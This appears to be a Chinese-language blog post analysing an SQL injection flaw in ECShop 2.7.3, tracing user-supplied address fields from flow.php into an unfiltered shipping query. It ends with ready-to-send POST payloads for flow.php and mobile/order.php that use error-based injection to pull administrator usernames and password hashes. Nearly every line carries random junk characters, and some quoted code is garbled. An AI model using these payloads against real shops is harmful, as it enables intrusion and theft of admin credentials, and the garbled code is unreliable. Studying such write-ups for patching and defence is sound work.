前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。
/ c: m" [* V6 M! |. v' E
3 x7 c1 ?6 _4 [ y 漏洞关键文件:& v, k! X5 ]0 v6 a4 J
0 Y) M9 G _: J) p$ \ /includes/lib_order.php
0 p" z: t+ f- K7 F+ K( P- G
! F* t5 J$ X6 w9 ] 关键函数:
" H+ Q# d) r% k+ C; D" ^* K u3 u/ E) G+ n' `
9 V( E$ I" z# n2 h
8 H0 u4 Q4 q; i01 function available_shipping_list($region_id_list)
4 ~( d; i0 G4 F! i3 F
. k: ]8 b$ V2 L# ]02 {
! W9 T; O, e3 k: l( n$ |
# c$ B8 J4 {! N* U' j! K1 }03 $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
( ` N1 }: N. k* g7 ]( m) r* Q5 t4 V
04 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
5 M" b# ]. G+ ?8 a# Y1 H$ b$ W% A1 m* u: e6 \
05 'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' . ; X' m/ D, X, h4 x1 U. J
# _. G6 D z1 `/ O! ~06 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .
1 B/ W$ e! k [; A$ H s* _8 \8 i7 }& A
07 $GLOBALS['ecs']->table('area_region') . ' AS r '.
8 l0 ?9 ^% }5 L6 e1 P( @" T8 B) ^- ^
08 'WHERE r.region_id ' . db_create_in($region_id_list) .
Y6 W9 w3 c! G
+ y U0 e. x& d0 o) Y& O: _09 ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
; ]% D/ b+ B' S
6 n& S. m3 _/ V- U& Z8 {; w0 |10 / O: m5 }* y% a3 J' h! M
c, F( p! V- X, N1 W' q( b. M
11 return $GLOBALS['db']->getAll($sql); ' H7 ?8 @' _% L- F: h/ {7 S
4 A3 n# c) C# K- B3 |# T12 } . G4 Z( l- E& u
! ?8 S( ~' n% U显然对传入的参数没有任何过滤就带入了查询语句。
" {2 M I6 h* v% h/ D * N" l& T, M N% j
下面我们追踪这个函数在flow.php中:
- F$ S9 c" t# n1 S9 \ 第531行: 9 u+ o0 h$ m3 ?, A( K1 O+ C8 K- f
' G8 q V3 T$ Q( J3 U9 s1 $shipping_list = available_shipping_list($region); 8 o* l3 c3 l8 n, n% v' ]7 y
% Q$ G L z& O / O2 P) n! Y" K* {- J X
, G3 r3 M2 m# V H& ~
# a! E* q5 U1 r# p! s* c9 g9 ~9 }4 |: ?
再对传入变量进行追踪:1 q( I0 F! J/ n& c$ j6 Y; [8 p& {
! E/ a8 `9 C% q9 O$ `4 O
第530行: * r. B. b9 A6 S8 x1 Q7 s! Z
4 O/ t6 A8 F- O i3 r4 ~7 P8 w6 f
1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);
) u2 G- z$ [3 s. X9 U2 a, K' h p1 o. H/ l f
& G: @5 m* k* _- A7 n+ e |
m3 H# o7 |9 }; w! q9 _$ S5 { # o$ }9 S1 b1 ]$ v: w, h0 E8 c0 K0 y
+ F; _4 a8 m" X/ p+ o& V+ v) E! h$ ~9 z第473行: , G$ Q4 E/ A8 o1 w1 e
4 s* Q" ^( E) \4 L
1 $consignee = get_consignee($_SESSION['user_id']);
% r+ f% f/ U( u( S- ?' m* e/ O9 N# V9 y: Z; z
到了一个关键函数:& a; u) }/ B" G8 G8 V
' x! D" `4 f' A/includes/lib_order.php' P' G' @" @; L) Y0 _8 P/ f
. P3 v* Y& R; R' t' z + {9 }% T, A# C$ H
' E, J% h ?' w$ c3 P3 r% @, U, w
; o7 W1 ]# b1 J2 \: _0 B9 k$ h2 `
, q9 ~9 M. f5 o. ]$ P2 C
01 function get_consignee($user_id)
% E# G- L5 [% `6 j9 {2 r n2 v* W2 e$ w" ?% w
02 { 8 F A* n/ A9 a, ^
8 A; g4 _' }! @: d/ e
03 if (isset($_SESSION['flow_consignee']))
* ^: g m1 W8 W% N1 o; d; [4 f6 q: l9 b" {- [( e' x4 Q
04 {
, Q& [1 d% b! H, w! x
3 m5 e6 @' L" w, D* w$ E0 o l05 /* 如果存在session,则直接返回session中的收货人信息 */
1 E" |5 H3 k5 y! e& a0 g! k/ W. J; K5 |4 q
06 ; j* \* o8 ~/ u& l# s
" Q) u9 a1 C" d! n! Z+ z0 A. p07 return $_SESSION['flow_consignee'];
. }5 x0 e N" r3 @8 \; ^
2 k% y, V/ \& S) y08 }
4 S0 y5 I: C5 `# K5 B
2 O# ^5 Y3 Z, ^7 F8 n09 else
6 |* Z3 k5 d$ L Y" h" M. T! ?/ S9 G- ~4 K
10 {
7 W- k9 I8 V6 M+ y4 ^ o* ^* u
1 R! Z; A# Z5 @$ K3 M% ]7 C; b7 @1 C11 /* 如果不存在,则取得用户的默认收货人信息 */
+ {8 X+ a" N$ T5 q) d- ?7 C
9 D+ O: A/ R$ K; J, w0 V/ A) R( [+ @, S12 $arr = array(); ) @5 L" R2 }8 Y. ?" u v5 L$ w
% E" m, ?8 q/ q4 r/ {2 l3 f9 n
13
4 \" x! r& n$ k2 W
4 c; F: `* ^6 c/ `$ k14 if ($user_id > 0) & y7 }4 `% D' r. T
& e5 E0 K6 S) i& g5 ]6 T15 { 6 X& p- }0 Y, w' }0 z5 C
9 Y2 H9 R. _+ |: O
16 /* 取默认地址 */ ! B ^/ |2 b2 H3 F$ j
- z, v# M* h- T6 `6 A( ]! L. i
17 $sql = "SELECT ua.*".
8 k1 A, ~0 y1 j* v' @; L' @4 G1 i* K$ E
18 " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
8 J, c: {& O! m; E+ K, @6 [8 G
1 W1 Q [' D0 l0 f0 k' x19 " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
: J9 o! Y6 c/ a9 L; E! F
0 o# E! o3 z" l/ z% X20
* p3 x, |& A/ m! Z# h- l' z6 C+ }/ P `/ u% h
21 $arr = $GLOBALS['db']->getRow($sql);
( \0 \: z, [2 b% O d( M4 u/ I) Z( Q8 i3 n
22 } 7 S ?4 ~' ]: D6 e& g8 `
: ] y: I: f: f$ U Z' A23
, G8 k2 m% ?" G+ j% S, K$ L
. y4 W. K, L4 [' Q4 ]# ?7 Y$ M7 S6 D24 return $arr;
! {8 j! [! z1 X* t3 F' w9 |+ ~9 H8 L
25 }
( ]' t) V/ y" d% U- f/ g7 S% b0 v% D: D9 j1 G* l/ p; A, P
26 }
1 a1 X; B4 ~3 f& j4 N+ \2 n( G; B, H
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?
! y4 P5 o8 a3 u0 I
) i" k$ b9 E+ S, Y! [$ a5 Q" A& Z # \' k9 G/ J+ B& a9 A. L6 x; N
# }" G9 V- N+ q/ J9 Y: B5 R
关键点:) o1 m9 [" _, ^$ U5 Z& \
. F: r6 G' `; g Y A
第400行: $_SESSION['flow_consignee'] = stripslashes_deep($consignee);0 Q4 t. I) U5 `9 {# V: b5 P
7 _: j' s6 f( w6 A* V2 z) q7 N" ?这里对传入参数反转义存入$_SESSION中。9 W6 q6 n; ^0 c. c
3 I4 O) S- o* s. o 3 d, z* f- k# M/ p9 y/ O, U
+ B' [8 N( {# i2 n& H$ b$ ]& `
然后看下:
: ], i( N* b ?% D* r; s: X7 a& Q: h: z
" a+ y7 y! M6 y) H3 S% v/ r, D7 _$ l
% o% }- X2 j0 Q! ?, w0 a 9 N0 n7 R' p5 Y6 l/ k1 b
% V1 q8 |" c) `6 S% d. [01 $consignee = array(
' ~) J' P" q" m8 P |1 U5 ~4 x6 j- ]* [2 Z+ y$ t
02 'address_id' => empty($_POST['address_id']) ? 0 :intval($_POST['address_id']), + b+ b) M o9 t. M+ u; B8 N% ]
5 ?% J+ a% S1 x4 C( e, I
03 'consignee' => empty($_POST['consignee']) ? '' : trim($_POST['consignee']), + y. {$ _# `' I6 K
- W6 ^3 ~7 c0 y# [04 'country' => empty($_POST['country']) ? '' _POST['country'],
! h Y# H2 z9 C: w2 T1 B6 K7 ^1 B
1 O* F- z, e5 p05 'province' => empty($_POST['province']) ? '' _POST['province'],
! j) \1 P/ `0 v3 m6 @- e1 l1 Q5 \& K
06 'city' => empty($_POST['city']) ? '' _POST['city'],
. h1 T: G2 {) V% G: w' y% g: a# k' q& O# g$ J! z+ q& @
07 'district' => empty($_POST['district']) ? '' _POST['district'], 3 G0 l6 [- K+ d7 x# n: b
/ ]5 W' N( u& j3 U D& r! m
08 'email' => empty($_POST['email']) ? '' _POST['email'], 3 x% N( y( F! c! }/ J# ^3 L
0 T: [0 u9 T! m$ `( {5 k
09 'address' => empty($_POST['address']) ? '' _POST['address'],
. Q2 }( Y+ Z# O; {$ C5 b
3 G i" o, E L0 `3 G3 A( p( v: @10 'zipcode' => empty($_POST['zipcode']) ? '' : make_semiangle(trim($_POST['zipcode'])), 5 |/ W( G: K$ i3 `
8 N( S, ?; u+ \2 E11 'tel' => empty($_POST['tel']) ? '' : make_semiangle(trim($_POST['tel'])),
, q# E N# D# M: n. ~7 n
3 @5 L( D# T3 X0 n& i S i12 'mobile' => empty($_POST['mobile']) ? '' : make_semiangle(trim($_POST['mobile'])),
9 {, ?1 x; \3 O7 a$ w* e5 |: p! {( b6 ]+ F3 G4 w
13 'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'], ; A" r Y' U1 ~6 m' g
1 P: t6 z m, V6 x0 S4 K14 'best_time' => empty($_POST['best_time']) ? '' _POST['best_time'], % W) k( O8 a1 O
9 F! u' H- D# \ f' p8 D; j
15 );
' q! ?( h( v% r& O m% D. e8 i0 v) e2 h7 J l- O, F& H
好了注入就这样出现了。/ j; W ~* `" Q' u a+ ~ ]! X
- J X2 G2 p2 H! _: O' A==================
' U, ?) c5 O8 U# y% C
' o( ~" S5 Q+ a1 _4 i注入测试:
, F3 f/ l7 F5 P( ~5 y
& I1 K- y3 b- R; B+ l环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)& E8 T+ G/ w \" O
; O7 }9 W, E# d3 y1 l# z, \' B6 a
测试程序:ECShop_V2.7.3_UTF8_release1106- z; I; A8 R. G1 D+ D9 n7 V
' ?% H$ N4 _3 ]; S8 }3 R3 ?. E
7 @2 T( Q( H5 y5 f( O: i% e* x6 U y0 S% n
1.首先需要点击一个商品加入购物车
: g% b9 l2 t) }
! \1 \5 ]/ j7 T0 W# ]2.注册一个会员帐号
% A$ q* }; T! J6 G9 {5 L9 G t; o6 e. d4 k4 I/ }7 x
3.post提交数据2 v) a$ Z8 g. `. u" ~9 Y, J
% }. S: @" J% d& u- {% w9 c" F# }% ]
$ O0 o Z& e) O+ L a
& ?6 p8 s2 Y) e( D% E2 Z' T/ d1 http://127.0.0.1/ecshop/flow.php 9 n' H' ^5 Q9 t8 {1 A7 j P
: U. o3 V. Y( [" ?0 G
2
; Q. n+ N1 W+ U8 R
9 Z7 K$ j/ |% _' t. }3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id= ' k* Q9 t' {" Z, ?5 [
举一反三,我们根据这个漏洞我们可以继续深入挖掘:
% G2 e: C6 \1 d3 T) h+ [5 A
- ^ I5 D" P& o我们搜寻关键函数function available_shipping_list()
2 v4 v* G8 P- b+ Z: l7 e* @% ?' v
在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同) `; j% X' ^4 Q: ?% a
' h! Q* ]8 Z0 P; I) f( k. ~ k1 }利用exp:7 y: ]' v/ a- A# B* @4 F3 A
- i! @8 _" O! o7 j
1.点击一个商品,点击购买商标
4 @9 Y! v* F! ^% |+ \! a9 C& |+ P6 g5 C6 d0 F8 E+ G
2.登录会员帐号; ` J7 b1 {8 k7 n, `1 ~
, R) h" @# p2 ]7 _! l: P; ^) i3.post提交:
' b/ d, O- n3 i' V, x5 q
3 o. {5 w: b3 o1 X1 Xhttp://127.0.0.1/ecshop/mobile/order.php
; O( ~ [3 }/ e! O0 a% t
% L) u- {) @" @ s$ V4 c; z+ i9 I' n
5 H5 [0 [4 C" K, E1 o6 |# E5 F
country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id= u2 ^1 M' r3 E8 P9 V4 ^2 H1 q
8 f2 _9 c5 I, J* c" x* N+ j ]
|